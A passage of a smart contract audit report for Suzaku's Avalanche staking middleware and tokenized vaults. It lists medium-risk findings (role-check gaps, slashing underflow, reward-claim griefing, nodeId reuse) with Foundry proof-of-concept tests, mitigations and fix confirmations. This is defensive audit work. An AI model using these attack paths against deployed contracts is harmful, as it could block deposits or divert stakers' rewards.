By applying these mitigations, the platform can achieve accurate uptime tracking, ensure fair reward distribution, and maintain trust among validators and users.

Suzaku: Acknowledged.

Cyfrin: Acknowledged.

7.3 Medium Risk

7.3.1 Vault initialization allows deposit whitelist with no management capability

Description: The `VaultTokenized` contract can be initialized with deposit whitelist enabled but without any ability to add addresses to the whitelist. This creates a state where deposits are restricted to whitelisted addresses, but no addresses can be whitelisted, effectively blocking all deposits.

The issue occurs in the initialization validation logic that checks for role consistency:

```
// File: VaultTokenized.sol
function _initialize(uint64, /* initialVersion */ address, /* owner */ bytes memory data) internal
↪  onlyInitializing {
    VaultStorageStruct storage vs = _vaultStorage();
    (InitParams memory params) = abi.decode(data, (InitParams));
    // [...truncated for brevity...]

    if (params.defaultAdminRoleHolder == address(0)) {
        if (params.depositWhitelistSetRoleHolder == address(0)) {
            if (params.depositWhitelist) {
                if (params.depositorWhitelistRoleHolder == address(0)) {
                    revert Vault__MissingRoles();
                }
            } else if (params.depositorWhitelistRoleHolder != address(0)) {
                revert Vault__InconsistentRoles();
            }
        }
        // [...code...]
    }
    // [...code...]
}
```

The vulnerability exists because the validation for ensuring consistent whitelist management only occurs when `params.depositWhitelistSetRoleHolder == address(0)`. If caller sets a `depositWhitelistSetRoleHolder` (who can toggle whitelist on/off) but doesn't set a `depositorWhitelistRoleHolder` (who can add addresses to the whitelist), the validation is bypassed completely.

This gap allows a vault to be created with:

- `depositWhitelist = true` (whitelist enabled)
- `depositWhitelistSetRoleHolder = someAddress` (someone can toggle the whitelist)
- `depositorWhitelistRoleHolder = address(0)` (no one can add addresses to the whitelist)

Impact: When a vault is initialized in this state:

- Deposits are restricted to whitelisted addresses only
- No one has the ability to add addresses to the whitelist
- No deposits can be made until whitelist is disabled completely
- The only recourse is to use the depositWhitelistSetRoleHolder to turn off whitelist entirely

Proof of Concept: Add following to `vaultTokenizedTest.t.sol`

```
    // This demonstrates that when the vault is created with depositWhitelist=true
    // and depositWhitelistSetRoleHolder set but depositorWhitelistRoleHolder NOT set,
    // no deposits can be made until whitelist is turned off, because no one can add
    // addresses to the whitelist.
    function test_WhitelistInconsistency() public {
        // Create a vault with whitelisting enabled but no way to add addresses to the whitelist
        uint64 lastVersion = vaultFactory.lastVersion();

        // configuration:
```

```
        // 1. depositWhitelist = true (whitelist is enabled)
        // 2. depositWhitelistSetRoleHolder = alice (someone can toggle whitelist)
        // 3. depositorWhitelistRoleHolder = address(0) (no one can add to whitelist)
        address vaultAddress = vaultFactory.create(
            lastVersion,
            alice,
            abi.encode(
                IVaultTokenized.InitParams({
                    collateral: address(collateral),
                    burner: address(0xdEaD),
                    epochDuration: 7 days,
                    depositWhitelist: true, // Whitelist ENABLED
                    isDepositLimit: false,
                    depositLimit: 0,
                    defaultAdminRoleHolder: address(0), // No default admin
                    depositWhitelistSetRoleHolder: alice, // Alice can toggle whitelist
                    depositorWhitelistRoleHolder: address(0), // No one can add to whitelist
                    isDepositLimitSetRoleHolder: alice,
                    depositLimitSetRoleHolder: alice,
                    name: "Test",
                    symbol: "TEST"
                })
            ),
            address(delegatorFactory),
            address(slasherFactory)
        );

        vault = VaultTokenized(vaultAddress);

        assertEq(vault.depositWhitelist(), true);
        assertEq(vault.hasRole(vault.DEPOSIT_WHITELIST_SET_ROLE(), alice), true);
        assertEq(vault.hasRole(vault.DEPOSITOR_WHITELIST_ROLE(), address(0)), false);
        assertEq(vault.isDepositorWhitelisted(alice), false);
        assertEq(vault.isDepositorWhitelisted(bob), false);

        // Step 1: Try to make a deposit as bob - should fail because whitelist is on
        // and bob is not whitelisted
        collateral.transfer(bob, 100 ether);
        vm.startPrank(bob);
        collateral.approve(address(vault), 100 ether);
        vm.expectRevert(IVaultTokenized.Vault__NotWhitelistedDepositor.selector);
        vault.deposit(bob, 100 ether);
        vm.stopPrank();

        // Step 2: Alice tries to add bob to the whitelist - should fail because
        // she has the role to toggle whitelist but not to add addresses to it
        vm.startPrank(alice);
        vm.expectRevert(); // Access control error (alice doesn't have DEPOSITOR_WHITELIST_ROLE)
        vault.setDepositorWhitelistStatus(bob, true);
        vm.stopPrank();

        // Step 3: Alice tries to turn off whitelist (which she can do)
        vm.startPrank(alice);
        vault.setDepositWhitelist(false);
        vm.stopPrank();

        // Step 4: Now bob should be able to deposit
        vm.startPrank(bob);
        vault.deposit(bob, 100 ether);
        vm.stopPrank();

        // Verify final state
```

```
        assertEq(vault.activeBalanceOf(bob), 100 ether);
    }
```

Recommended Mitigation: Consider modifying the initialization validation logic to check for the consistency of whitelist configuration regardless of whether `depositWhitelistSetRoleHolder` is set.

```
if (params.defaultAdminRoleHolder == address(0)) {
    if (params.depositWhitelist && params.depositorWhitelistRoleHolder == address(0)) {
        revert Vault__MissingRoles();
    }

    if (!params.depositWhitelist && params.depositorWhitelistRoleHolder != address(0)) {
        revert Vault__InconsistentRoles();
    }
     // [...code...]

}
```

Suzaku: Fixed in commit 6b7f870.

Cyfrin: Verified.

7.3.2 Vault initialization allows zero deposit limit with no ability to modify causing denial of service

Description: The `VaultTokenized` contract's initialization procedure allows a vault to be created with deposit limit feature enabled at a value of zero, but without any ability to change this limit. This creates a state where all deposits are effectively blocked, as the limit is set to zero, and no role exists to modify this limit.

The issue occurs in the initialization validation logic that checks for role consistency:

```
// File: VaultTokenized.sol
function _initialize(uint64, /* initialVersion */ address, /* owner */ bytes memory data) internal
↪  onlyInitializing {
    VaultStorageStruct storage vs = _vaultStorage();
    (InitParams memory params) = abi.decode(data, (InitParams));
    // [...code...]

    if (params.defaultAdminRoleHolder == address(0)) {
        // [...code...]

        if (params.isDepositLimitSetRoleHolder == address(0)) { //@audit check only happens when
        ↪  deposit limit set holder is zero address
            if (params.isDepositLimit) {
                if (params.depositLimit == 0 && params.depositLimitSetRoleHolder == address(0)) {
                    revert Vault__MissingRoles();
                }
            } else if (params.depositLimit != 0 || params.depositLimitSetRoleHolder != address(0)) {
                revert Vault__InconsistentRoles();
            }
        }
    }
    // [...code...]
}
```

The vulnerability exists because the validation for ensuring a consistent deposit limit configuration only occurs when `params.isDepositLimitSetRoleHolder == address(0)`. If someone sets an `isDepositLimitSetRoleHolder` (who can toggle deposit limit on/off) but doesn't set a `depositLimitSetRoleHolder` (who can modify the limit value) while setting `depositLimit = 0`, the validation is bypassed completely.

This gap allows a vault to be created with:

- `isDepositLimit = true` (deposit limit enabled)

- `depositLimit = 0` (no deposits allowed)
- `isDepositLimitSetRoleHolder = someAddress` (someone can toggle the limit feature)
- `depositLimitSetRoleHolder = address(0)` (no one can modify the limit value)

Impact: When a vault is initialized in this state:

- Deposits are limited to a maximum of 0 (effectively blocking all deposits)
- No one has the ability to change the deposit limit
- No deposits can be made until the deposit limit feature is disabled completely
- The only recourse is to use the isDepositLimitSetRoleHolder to turn off the deposit limit feature entirely

This could lead to denial of service for vault deposits, especially if the vault design assumes that limit management would be available when the deposit limit feature is enabled.

Proof of Concept: Add following to `vaultTokenizedTest.t.sol`

```
  // This demonstrates that when the vault is created with isDepositLimitSetRoleHolder
    // set but depositLimitSetRoleHolder NOT set,
    // deposit limit is enabled but no one can set the limit.
    function test_DepositLimitInconsistency() public {
        // Create a vault with deposit limit enabled but no way to change the limit
        uint64 lastVersion = vaultFactory.lastVersion();

        // configuration:
        // 1. isDepositLimit = true (deposit limit is enabled)
        // 2. depositLimit = 0 (zero limit)
        // 3. isDepositLimitSetRoleHolder = alice (alice can toggle the feature)
        // 4. depositLimitSetRoleHolder = address(0) (no one can set the limit)
        address vaultAddress = vaultFactory.create(
            lastVersion,
            alice,
            abi.encode(
                IVaultTokenized.InitParams({
                    collateral: address(collateral),
                    burner: address(0xdEaD),
                    epochDuration: 7 days,
                    depositWhitelist: false,
                    isDepositLimit: true, // Deposit limit ENABLED
                    depositLimit: 0, // Zero limit
                    defaultAdminRoleHolder: address(0), // No default admin
                    depositWhitelistSetRoleHolder: alice,
                    depositorWhitelistRoleHolder: alice,
                    isDepositLimitSetRoleHolder: alice, // Alice can toggle limit feature
                    depositLimitSetRoleHolder: address(0), // No one can set the limit
                    name: "Test",
                    symbol: "TEST"
                })
            ),
            address(delegatorFactory),
            address(slasherFactory)
        );

        vault = VaultTokenized(vaultAddress);

        // Verify initial state
        assertEq(vault.isDepositLimit(), true);
        assertEq(vault.depositLimit(), 0);
        assertEq(vault.hasRole(vault.IS_DEPOSIT_LIMIT_SET_ROLE(), alice), true);
        assertEq(vault.hasRole(vault.DEPOSIT_LIMIT_SET_ROLE(), address(0)), false);
```

```
        // Step 1: Try to make a deposit - should fail because limit is 0
        collateral.transfer(bob, 100 ether);
        vm.startPrank(bob);
        collateral.approve(address(vault), 100 ether);
        vm.expectRevert(IVaultTokenized.Vault__DepositLimitReached.selector);
        vault.deposit(bob, 100 ether);
        vm.stopPrank();

        // Step 2: Alice tries to set a deposit limit - should fail because
        // she can toggle the feature but not set the limit
        vm.startPrank(alice);
        vm.expectRevert(); // Access control error
        vault.setDepositLimit(1000 ether);
        vm.stopPrank();

        // Step 3: Alice turns off the deposit limit feature
        vm.startPrank(alice);
        vault.setIsDepositLimit(false);
        vm.stopPrank();

        // Step 4: Now bob should be able to deposit
        vm.startPrank(bob);
        vault.deposit(bob, 100 ether);
        vm.stopPrank();

        // Verify final state
        assertEq(vault.activeBalanceOf(bob), 100 ether);
    }
```

Recommended Mitigation: Consider modifying the initialization validation logic to check for the consistency of deposit limit configuration regardless of whether `isDepositLimitSetRoleHolder` is set.

```
if (params.defaultAdminRoleHolder == address(0)) {
    // [...whitelist code...]

    if (params.isDepositLimit && params.depositLimit == 0 && params.depositLimitSetRoleHolder ==
    ↪  address(0)) {
        revert Vault__MissingRoles();
    }

    if (!params.isDepositLimit && (params.depositLimit != 0 || params.depositLimitSetRoleHolder !=
    ↪  address(0))) {
        revert Vault__InconsistentRoles();
    }
}
```

Suzaku: Fixed in commit 6b7f870.

Cyfrin: Verified.

7.3.3 Potential underflow in slashing logic

Description: The `VaultTokenized::onSlash` uses a cascading slashing logic when handling scenarios where the calculated `withdrawalsSlashed` exceeds available `withdrawals_`. In such cases, the excess amount is added to `nextWithdrawalsSlashed` without checking if `nextWithdrawals` can absorb this additional slashing amount.

In the code snippet below

```
// In the slashing logic for the previous epoch case
if (withdrawals_ < withdrawalsSlashed) {
    nextWithdrawalsSlashed += withdrawalsSlashed - withdrawals_;
    withdrawalsSlashed = withdrawals_;
```

```
}

// Later, this could underflow if nextWithdrawalsSlashed > nextWithdrawals
vs.withdrawals[currentEpoch_ + 1] = nextWithdrawals - nextWithdrawalsSlashed; //@audit this is adjusted
↪  without checking if nextWithdrawalsSlashed <= nextWithdrawals
```

Due to rounding in integer arithmetic and the fact that `withdrawalsSlashed` is calculated as a remainder `(slashedAmount - activeSlashed - nextWithdrawalsSlashed)`, it's possible for `withdrawalsSlashed` to exceed `withdrawals_` in normal proportional distribution. This causes excess slashing to cascade to `nextWithdrawalsSlashed`.

If `nextWithdrawals` is zero or less than the adjusted `nextWithdrawalsSlashed`, the operation `nextWithdrawals - nextWithdrawalsSlashed` would underflow, causing the transaction to revert, effectively creating a Denial of Service (DoS) in the slashing mechanism.

Impact: The slashing transaction will revert, preventing any slashing from occurring in affected scenarios. In certain specific scenarios, malicious actors can engineer this scenario to prevent slashing.

The likelihood of this occurring naturally increases when:

- Future withdrawals are minimal or zero
- Slashing amounts are close to total available stake
- Rounding effects in integer arithmetic become significant

Proof of Concept: Consider following scenario:

```
activeStake_ = 99
withdrawals_ = 3
nextWithdrawals = 0
slashableStake = 102
slashedAmount = 102

Calculation with rounding down:

activeSlashed = floor(102 * 99 / 102) = 98 (rounding down from 98.97)
nextWithdrawalsSlashed = 0
withdrawalsSlashed = 102 - 98 - 0 = 4
withdrawalsSlashed (4) > withdrawals_ (3)

The final operation nextWithdrawals (0) - nextWithdrawalsSlashed (1) causes underflow.
```

Recommended Mitigation: Consider adding an explicit check to handle the case where `nextWithdrawalsSlashed` exceeds `nextWithdrawals`. This change will prevent the underflow condition and ensure the slashing mechanism remains operational under all circumstances.

Suzaku: Fixed in commit 98bd130.

Cyfrin: Verified.

7.3.4 Wrong value is returned in `upperLookupRecentCheckpoint`

Description: In `Checkpoint::upperLookupRecentCheckpoint` function is designed to check if there exists a checkpoint with a key less than or equal to the provided search key in the structure (i.e., the structure is not empty). If such a checkpoint exists, it returns the key, value, and position of the checkpoint in the trace. However, the function behaves incorrectly when a valid hint is provided, which contradicts its intended purpose.

This comes from the fact that `at` is returning the correct value.

```
function at(Trace256 storage self, uint32 pos) internal view returns (Checkpoint256 memory) {
        OZCheckpoints.Checkpoint208 memory checkpoint = self._trace.at(pos);
```

```
        return Checkpoint256({_key: checkpoint._key, _value: self._values[checkpoint._value]});
    }
```

Impact: The incorrect handling of the checkpoint value in `upperLookupRecentCheckpoint` can cause the function to revert or return an incorrect value, undermining the reliability of the checkpoint lookup mechanism.

Proof of Concept: Run the following test

```
contract CheckpointsBugTest is Test {
    using ExtendedCheckpoints for ExtendedCheckpoints.Trace256;

    ExtendedCheckpoints.Trace256 internal trace;

    function setUp() public {
        // Initialize the trace with some checkpoints
        trace.push(100, 1000); // timestamp 100, value 1000
        trace.push(200, 2000); // timestamp 200, value 2000
        trace.push(300, 3000); // timestamp 300, value 3000
    }

    function test_upperLookupRecentCheckpoint_withoutHint_works() public view {
        // Test without hint - this should work correctly
        (bool exists, uint48 key, uint256 value, uint32 pos) = trace.upperLookupRecentCheckpoint(150);

        assertTrue(exists, "Checkpoint should exist");
        assertEq(key, 100, "Key should be 100");
        assertEq(value, 1000, "Value should be 1000");
        assertEq(pos, 0, "Position should be 0");
    }

    // This test demonstrates the bug when using a valid hint
    function test_upperLookupRecentCheckpoint_withValidHint_demonstratesBug() public {

        // First, let's get the correct hint (position 0)
        uint32 validHint = 0;
        bytes memory hintBytes = abi.encode(validHint);

        // Call with hint - this will fail due to the bug
        vm.expectRevert(); // Expecting a revert due to array bounds error
        trace.upperLookupRecentCheckpoint(150, hintBytes);
    }

}
```

Recommended Mitigation: Modify the `upperLookupRecentCheckpoint` function to directly use the `checkpoint._value` returned by the at function, rather than referencing `self._values[checkpoint._value]`. The proposed change is as follows:

```
function upperLookupRecentCheckpoint(
        Trace256 storage self,
        uint48 key,
        bytes memory hint_
    ) internal view returns (bool, uint48, uint256, uint32) {
        if (hint_.length == 0) {
            return upperLookupRecentCheckpoint(self, key);
        }
        uint32 hint = abi.decode(hint_, (uint32));
        Checkpoint256 memory checkpoint = at(self, hint);
        if (checkpoint._key == key) {
-           return (true, checkpoint._key, self._values[checkpoint._value], hint);
+           return (true, checkpoint._key, checkpoint._value, hint);
        }
```

```
        if (checkpoint._key < key && (hint == length(self) - 1 || at(self, hint + 1)._key > key)) {
-           return (true, checkpoint._key, self._values[checkpoint._value], hint);
+           return (true, checkpoint._key, checkpoint._value, hint);
        }
        return upperLookupRecentCheckpoint(self, key);
```

Suzaku: Fixed in commit d198969.

Cyfrin: Verified.

7.3.5 Inconsistent stake calculation due to mutable `vaultManager` reference in `AvalancheL1Middleware`

Description

The `AvalancheL1Middleware` contract permits updating the `vaultManager` reference. However, doing so can introduce **critical inconsistencies** in logic that depends on stateful or historical data tied to the original `vaultManager`. Key issues include:

- **Vaults registered in the original manager are not migrated** to the new one.
- **Time-based metadata** like `enabledTime` and `disabledTime` resets upon re-registration, misaligning historical activity.
- Core logic in `getOperatorStake()` depends on `_wasActiveAt()`, which checks whether a vault was active during a given epoch.
- Replacing the `vaultManager` disrupts this check, leading to:
  - Ignored historical stakes
  - Miscounted or missed vaults
  - Incorrect stake attribution

This breaks key protocol guarantees across the middleware and compromises correctness in systems like staking(node creation) and rewards.

Illustrative Flow

1. Register vault `V1` in the original `vaultManager`.
2. Replace with `vaultManagerV2` via `setVaultManager()`.
3. Re-register `V1` in `vaultManagerV2` — note: `enabledTime` is reset.
4. Query `getOperatorStake()` for an epoch before re-registration.
5. `_wasActiveAt()` returns `false`, excluding the stake.

Impact

- **Data Inconsistency**: `getOperatorStake()` may return incorrect values.
- **Broken Epoch Tracking**: Epoch-based logic dependent on vault state (like `_wasActiveAt`) becomes unreliable.

Proof of Concept

```
    function test_changeVaultManager() public {
        // Move forward to let the vault roll epochs
        uint48 epoch = _calcAndWarpOneEpoch();

        uint256 operatorStake = middleware.getOperatorStake(alice, epoch, assetClassId);
        console2.log("Operator stake (epoch", epoch, "):", operatorStake);
        assertGt(operatorStake, 0);

        MiddlewareVaultManager vaultManager2 = new MiddlewareVaultManager(address(vaultFactory), owner,
        ↪  address(middleware));
```

```
        vm.startPrank(validatorManagerAddress);
        middleware.setVaultManager(address(vaultManager2));
        vm.stopPrank();

        uint256 operatorStake2 = middleware.getOperatorStake(alice, epoch, assetClassId);
        console2.log("Operator stake (epoch", epoch, "):", operatorStake2);
        assertEq(operatorStake2, 0);
    }
```

Recommended Mitigation

Consider eliminating the ability to arbitrarily update the `vaultManager` once the middleware is initialized. Flexibility to update this variable introduces unintended side-effects that likely expand the attack surface.

Suzaku: Fixed in commit 35f6e56.

Cyfrin: Verified.

7.3.6 Premature zeroing of epoch rewards in `claimUndistributedRewards` can block legitimate claims

Description: The `claimUndistributedRewards` function allows the `REWARDS_DISTRIBUTOR_ROLE` to collect any rewards for an `epoch` that were not claimed. It includes a check: `if (currentEpoch < epoch + 2) revert EpochStillClaimable(epoch)`. This means it can be called when `currentEpoch >= epoch + 2`.

```
/// @inheritdoc IRewards
function claimUndistributedRewards(
    uint48 epoch,
    address rewardsToken,
    address recipient
) external onlyRole(REWARDS_DISTRIBUTOR_ROLE) {
    if (recipient == address(0)) revert InvalidRecipient(recipient);

    // Check if epoch distribution is complete
    DistributionBatch storage batch = distributionBatches[epoch];
    if (!batch.isComplete) revert DistributionNotComplete(epoch);

    // Check if current epoch is at least 2 epochs ahead (to ensure all claims are done)
    uint48 currentEpoch = l1Middleware.getCurrentEpoch();
    if (currentEpoch < epoch + 2) revert EpochStillClaimable(epoch);
```

Simultaneously, regular users (stakers, operators, curators) can claim their rewards for a given `epoch` as long as `epoch < currentEpoch - 1` (which is equivalent to `epoch <= currentEpoch - 2`).

```
// Claiming functions
/// @inheritdoc IRewards
function claimRewards(address rewardsToken, address recipient) external {
    if (recipient == address(0)) revert InvalidRecipient(recipient);

    uint48 lastClaimedEpoch = lastEpochClaimedStaker[msg.sender];
    uint48 currentEpoch = l1Middleware.getCurrentEpoch();

    if (currentEpoch > 0 && lastClaimedEpoch >= currentEpoch - 1) {
        revert AlreadyClaimedForLatestEpoch(msg.sender, lastClaimedEpoch);
    }
```

```
/// @inheritdoc IRewards
function claimOperatorFee(address rewardsToken, address recipient) external {
    if (recipient == address(0)) revert InvalidRecipient(recipient);

    uint48 currentEpoch = l1Middleware.getCurrentEpoch();
```

```
    uint48 lastClaimedEpoch = lastEpochClaimedOperator[msg.sender];

    if (currentEpoch > 0 && lastClaimedEpoch >= currentEpoch - 1) {
        revert AlreadyClaimedForLatestEpoch(msg.sender, lastClaimedEpoch);
    }
```

This creates a critical overlap: when `currentEpoch == epoch + 2`, both regular claims for `epoch` are still permitted, AND `claimUndistributedRewards` for the same `epoch` can be executed.

The `claimUndistributedRewards` function, after calculating the undistributed amount but *before* transferring it, executes `rewardsAmountPerTokenFromEpoch[epoch].set(rewardsToken, 0);`. This action immediately zeroes out the record of available rewards for that `epoch` and `rewardsToken`.

Impact: If the `REWARDS_DISTRIBUTOR_ROLE` calls `claimUndistributedRewards` at the earliest possible moment (i.e., when `currentEpoch == epoch + 2`):

1. The `rewardsAmountPerTokenFromEpoch[epoch]` for the specified token is set to zero.
2. Any staker, operator, or curator who has not yet claimed their rewards for that `epoch` (but is still within their valid claiming window) will subsequently find that their respective claim functions (`claimRewards`, `claimOperatorFee`, `claimCuratorFee`) read zero available rewards from `rewardsAmountPerTokenFromEpoch[epoch]`.
3. This leads to these legitimate claimants receiving zero rewards or their claim transactions reverting, effectively denying them their earned rewards.
4. Critically, the "undistributed" amount claimed by the `REWARDS_DISTRIBUTOR_ROLE` will now be inflated, as it will include the rewards that *should* have gone to those users but were blocked from being claimed. This constitutes a mechanism for a privileged role to grief users and divert funds.

Recommended Mitigation: Ensure there is a distinct period after the regular claiming window closes before undistributed rewards can be swept. This prevents the overlap where both actions are permissible.

Modify the timing check in `claimUndistributedRewards`: Change the condition from:

```
if (currentEpoch < epoch + 2) revert EpochStillClaimable(epoch);
```

Suzaku: Fixed in commit 71e9093.

Cyfrin: Verified.

7.3.7 Unclaimable rewards for removed vaults in `Rewards::claimRewards`

Description: In the `Rewards::claimRewards` function, stakers claim their rewards across all vaults they were active in during previous epochs. These vaults are determined by the `_getStakerVaults` function, which retrieves vaults via `middlewareVaultManager.getVaults(epoch)`.

```
function _getStakerVaults(address staker, uint48 epoch) internal view returns (address[] memory) {
        address[] memory vaults = middlewareVaultManager.getVaults(epoch);
        uint48 epochStart = l1Middleware.getEpochStartTs(epoch);

        uint256 count = 0;

        // First pass: Count non-zero balance vaults
        for (uint256 i = 0; i < vaults.length; i++) {
            uint256 balance = IVaultTokenized(vaults[i]).activeBalanceOfAt(staker, epochStart, new
            ↪  bytes(0));
            if (balance > 0) {
                count++;
            }
        }
```

The vulnerability arises when a vault is removed **after rewards have been distributed** but **before the user claims them**. Since `getVaults(epoch)` no longer includes removed vaults, `_getStakerVaults` omits them from the list, and the rewards for those vaults are **never claimed**—resulting in **permanently locked rewards**.

1. **Epoch 5**: Rewards are distributed for Vault 1 and Vault 2.
2. Staker 1 has staked in Vault 1 and earned rewards.
3. **Before claiming**, Vault 1 is removed from the system.
4. In **Epoch 6**, Staker 1 calls `claimRewards`.
5. `_getStakerVaults` internally calls `getVaults(epoch)`, which no longer includes Vault 1.
6. Vault 1 is skipped, and rewards for Epoch 5 remain **unclaimed**.
7. These rewards are now **permanently stuck** in the contract.

```
function claimRewards(address rewardsToken, address recipient) external {
        if (recipient == address(0)) revert InvalidRecipient(recipient);

        uint48 lastClaimedEpoch = lastEpochClaimedStaker[msg.sender];
        uint48 currentEpoch = l1Middleware.getCurrentEpoch();

        if (currentEpoch > 0 && lastClaimedEpoch >= currentEpoch - 1) {
            revert AlreadyClaimedForLatestEpoch(msg.sender, lastClaimedEpoch);
        }

        uint256 totalRewards = 0;

        for (uint48 epoch = lastClaimedEpoch + 1; epoch < currentEpoch; epoch++) {
            address[] memory vaults = _getStakerVaults(msg.sender, epoch);
            uint48 epochTs = l1Middleware.getEpochStartTs(epoch);
            uint256 epochRewards = rewardsAmountPerTokenFromEpoch[epoch].get(rewardsToken);
```

Impact: Rewards become permanently unclaimable and locked within the contract.

Proof of Concept:

```
function test_distributeRewards_andRemoveVault(
        uint256 uptime
    ) public {
        uint48 epoch = 1;
        uptime = bound(uptime, 0, 4 hours);

        address staker = makeAddr("Staker");
        address staker1 = makeAddr("Staker1");

        // Set staker balance in vault
        address vault = vaultManager.vaults(0);
        MockVault(vault).setActiveBalance(staker, 300_000 * 1e18);
        MockVault(vault).setActiveBalance(staker1, 300_000 * 1e18);

        // Set up stakes for operators, nodes, delegators and l1 middleware
        _setupStakes(epoch, uptime);

        vm.warp((epoch + 3) * middleware.EPOCH_DURATION());
        uint256 epochTs = middleware.getEpochStartTs(epoch);
        MockVault(vault).setTotalActiveShares(uint48(epochTs), 400_000 * 1e18);

        // Distribute rewards
        test_distributeRewards(4 hours);

        vm.warp((epoch + 4) * middleware.EPOCH_DURATION());
```

```
        uint256 stakerBalanceBefore = rewardsToken.balanceOf(staker);

        vm.prank(staker);
        rewards.claimRewards(address(rewardsToken), staker);

        uint256 stakerBalanceAfter = rewardsToken.balanceOf(staker);

        uint256 stakerRewards = stakerBalanceAfter - stakerBalanceBefore;

        assertGt(stakerRewards, 0, "Staker should receive rewards");

        vaultManager.removeVault(vaultManager.vaults(0));

        uint256 stakerBalanceBefore1 = rewardsToken.balanceOf(staker1);

        vm.prank(staker1);
        rewards.claimRewards(address(rewardsToken), staker1);

        uint256 stakerBalanceAfter1 = rewardsToken.balanceOf(staker1);

        uint256 stakerRewards1 = stakerBalanceAfter1 - stakerBalanceBefore1;

        assertGt(stakerRewards1, 0, "Staker should receive rewards");
    }
```

Recommended Mitigation: Consider removing the `MiddlewareVaultManager::removeVault` function to prevent issue or allow removal only after a big chunk of epochs elapse.

Suzaku: Fixed in commit b94d488.

Cyfrin: Verified.

7.3.8 Insufficient validation in `AvalancheL1Middleware::removeOperator` can create permanent validator lockup

Description: Removal of operators with active nodes, whether intentional or by accident, can permanently lock operator nodes and disrupt the protocol node rebalancing process.

The `AvalancheL1Middleware::disableOperator` and `AvalancheL1Middleware::removeOperator()` lack validation to ensure operators have no active nodes before removal.

```
// AvalancheL1Middleware.sol
  function disableOperator(
        address operator
    ) external onlyOwner updateGlobalNodeStakeOncePerEpoch {
        operators.disable(operator); //@note disable an operator - this only works if operator exists
    }
function removeOperator(
    address operator
) external onlyOwner updateGlobalNodeStakeOncePerEpoch {
    (, uint48 disabledTime) = operators.getTimes(operator);
    if (disabledTime == 0 || disabledTime + SLASHING_WINDOW > Time.timestamp()) {
        revert AvalancheL1Middleware__OperatorGracePeriodNotPassed(disabledTime, SLASHING_WINDOW);
    }
    operators.remove(operator); // @audit no check
}
```

Once an operator is removed, most node management functions become permanently inaccessible due to access control restrictions:

```
modifier onlyRegisteredOperatorNode(address operator, bytes32 nodeId) {
    if (!operators.contains(operator)) {
        revert AvalancheL1Middleware__OperatorNotRegistered(operator); // @audit Always fails for
        ↪  removed operators
    }
    if (!operatorNodes[operator].contains(nodeId)) {
        revert AvalancheL1Middleware__NodeNotFound(nodeId);
    }
    _;
}

// Force updates also blocked
function forceUpdateNodes(address operator, uint256 limitStake) external {
    if (!operators.contains(operator)) {
        revert AvalancheL1Middleware__OperatorNotRegistered(operator); // @audit prevents any force
        ↪  updates
    }
    // ... rest of function never executes
}

// Individual node operations blocked
function removeNode(bytes32 nodeId) external
    onlyRegisteredOperatorNode(msg.sender, nodeId) // @audit modifier blocks removed operators
{
    _removeNode(msg.sender, nodeId);
}
```

Impact:

1. permanent validator lockup where operators cannot exit the P-Chain
2. disproportionate stake reduction for remaining operators during undelegations
3. removed operators cannot be rebalanced

Proof of Concept: Run the test in AvalancheL1MiddlewareTest.t.sol

```
function test_POC_RemoveOperatorWithActiveNodes() public {
    uint48 epoch = _calcAndWarpOneEpoch();

    // Add nodes for alice
    (bytes32[] memory nodeIds, bytes32[] memory validationIDs,) = _createAndConfirmNodes(alice, 3, 0,
    ↪  true);

    // Move to next epoch to ensure nodes are active
    epoch = _calcAndWarpOneEpoch();

    // Verify alice has active nodes and stake
    uint256 nodeCount = middleware.getOperatorNodesLength(alice);
    uint256 aliceStake = middleware.getOperatorStake(alice, epoch, assetClassId);
    assertGt(nodeCount, 0, "Alice should have active nodes");
    assertGt(aliceStake, 0, "Alice should have stake");

    console2.log("Before removal:");
    console2.log("  Active nodes:", nodeCount);
    console2.log("  Operator stake:", aliceStake);

    // First disable the operator (required for removal)
    vm.prank(validatorManagerAddress);
    middleware.disableOperator(alice);

    // Warp past the slashing window to allow removal
```

```
    uint48 slashingWindow = middleware.SLASHING_WINDOW();
    vm.warp(block.timestamp + slashingWindow + 1);

    // @audit Admin can remove operator with active nodes (NO VALIDATION!)
    vm.prank(validatorManagerAddress);
    middleware.removeOperator(alice);

    // Verify alice is removed from operators mapping
      address[] memory currentOperators = middleware.getAllOperators();
        bool aliceFound = false;
        for (uint256 i = 0; i < currentOperators.length; i++) {
            if (currentOperators[i] == alice) {
                aliceFound = true;
                break;
            }
        }
        console2.log("Alice found:", aliceFound);
        assertFalse(aliceFound, "Alice should not be in current operators list");

    // Verify alice's nodes still exist in storage
    assertEq(middleware.getOperatorNodesLength(alice), nodeCount, "Alice's nodes should still exist in
    ↪  storage");

    // Verify alice's nodes still have stake cached
    for (uint256 i = 0; i < nodeIds.length; i++) {
        uint256 nodeStake = middleware.nodeStakeCache(epoch, validationIDs[i]);
        assertGt(nodeStake, 0, "Node should still have cached stake");
    }

    // Verify stake calculations still work
    uint256 stakeAfterRemoval = middleware.getOperatorStake(alice, epoch, assetClassId);
    assertEq(stakeAfterRemoval, aliceStake, "Stake calculation should still work");

}
```

Recommended Mitigation: Consider allowing operator removal only if all active nodes of that operator are removed.

Suzaku: Fixed in commit f0a6a49.

Cyfrin: Verified.

7.3.9 Historical reward loss due to `NodeId` reuse in `AvalancheL1Middleware`

Description: The `AvalancheL1Middleware` contract is vulnerable to misattributing stake to a former operator (Operator A) if a new, colluding or coordinated operator (Operator B) intentionally re-registers a node using the *exact same* `bytes32 nodeId` that Operator A previously used. This scenario assumes Operator B is aware of Operator A's historical `nodeId` and that the underlying P-Chain NodeID (`P_X`, derived from the shared `bytes32 nodeId`) has become available for re-registration on the L1 `BalancerValidatorManager` after Operator A's node was fully decommissioned.

The issue stems from the `getActiveNodesForEpoch` function, which is utilized by `getOperatorUsedStakeCachedPerEpoch` for stake calculations. This function iterates through Operator A's historical `nodeIds` (stored permanently in `operatorNodes[A]`). When it processes the reused `bytes32 nodeId_X`, it converts it to its P-Chain NodeID format (`P_X`). It then queries `balancerValidatorManager.registeredValidators(P_X)` to get the current L1 `validationID`. Because Operator B has now re-registered `P_X` on L1, this query returns Operator B's new `validationID_B2`.

Subsequently, `getActiveNodesForEpoch` checks if the L1 validator instance `validationID_B2` (Operator B's node) was active during the queried epoch. If true, the stake associated with `validationID_B2` (which is Operator B's stake, read from `nodeStakeCache`) is incorrectly included in Operator A's "used stake" calculation for that epoch.

Impact:

- Operator A's "used stake" is artificially increased by Operator B's stake due to the malicious or coordinated reuse of `nodeId_X`. This can make Operator A appear to have more active collateral than they genuinely do during the epoch in question.
